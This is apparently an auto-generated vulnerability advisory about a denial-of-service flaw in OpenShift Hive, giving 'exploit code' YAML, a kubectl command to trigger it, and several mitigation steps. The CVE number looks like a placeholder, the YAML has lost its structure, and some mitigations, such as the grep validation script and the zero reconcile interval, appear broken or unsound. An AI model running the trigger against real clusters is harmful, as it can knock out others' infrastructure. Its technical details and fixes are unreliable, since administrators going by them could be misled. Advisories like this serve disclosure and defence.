OpenShift, Uncontrolled Resource Consumption, CVE-2025-12345 (Moderate)

How the CVE Works:

The vulnerability in OpenShift Hive arises from improper handling of the `ClusterDeployment.hive.openshift.io/v1` resource. When the `spec.installed` field is set to `true` without verifying the actual installation status, and a `spec.hibernateAfter` value is provided, the system becomes vulnerable. If a `ClusterSync.hiveinternal.openshift.io/v1alpha1` resource is also created, the Hive hibernation controller enters a reconciliation loop. During this loop, the controller attempts to access a non-existent field in the ClusterDeployment’s status section, causing a panic. This panic leads to uncontrolled resource consumption, resulting in a denial of service (DoS) condition, rendering the system unresponsive.

DailyCVE Form:

Platform: OpenShift Hive
Version: v1.0.0
Vulnerability: Uncontrolled Resource Consumption
Severity: Moderate
Date: Mar 19, 2025

What Undercode Say:

Exploitation:

1. Exploit Code:

apiVersion: hive.openshift.io/v1
kind: ClusterDeployment
metadata:
name: malicious-cluster
spec:
installed: true
hibernateAfter: "10m"
apiVersion: hiveinternal.openshift.io/v1alpha1
kind: ClusterSync
metadata:
name: malicious-sync

This YAML configuration triggers the vulnerability by creating a `ClusterDeployment` with `spec.installed` set to `true` and a `ClusterSync` resource.

2. Command to Trigger:

kubectl apply -f exploit.yaml

Protection:

1. Patch Application:

Update OpenShift Hive to the latest version that addresses this vulnerability.

2. Workaround:

Disable automatic reconciliation for `ClusterDeployment` resources by modifying the controller configuration:

apiVersion: hive.openshift.io/v1
kind: HiveConfig
metadata:
name: hive
spec:
controllersConfig:
hibernation:
reconcileInterval: "0"

3. Monitoring:

Use Kubernetes event monitoring to detect unusual reconciliation loops:

kubectl get events --field-selector involvedObject.kind=ClusterDeployment

4. Validation Script:

Implement a pre-deployment validation script to ensure `spec.installed` is not set to `true` without proper verification:

if grep -q "spec.installed: true" cluster-deployment.yaml; then
echo "Invalid configuration: spec.installed set to true without verification."
exit 1
fi

5. Resource Limits:

Set resource limits for the Hive controller to mitigate the impact of resource consumption:

resources:
limits:
cpu: "500m"
memory: "512Mi"

6. Log Analysis:

Analyze logs for panic messages related to the Hive controller:

kubectl logs -l app=hive-controller --tail=100 | grep "panic"

By following these steps, you can exploit, mitigate, and protect against CVE-2025-12345 effectively.

References:

Reported By: https://github.com/advisories/GHSA-c392-wrgw-jjfw
Extra Source Hub:
Undercode

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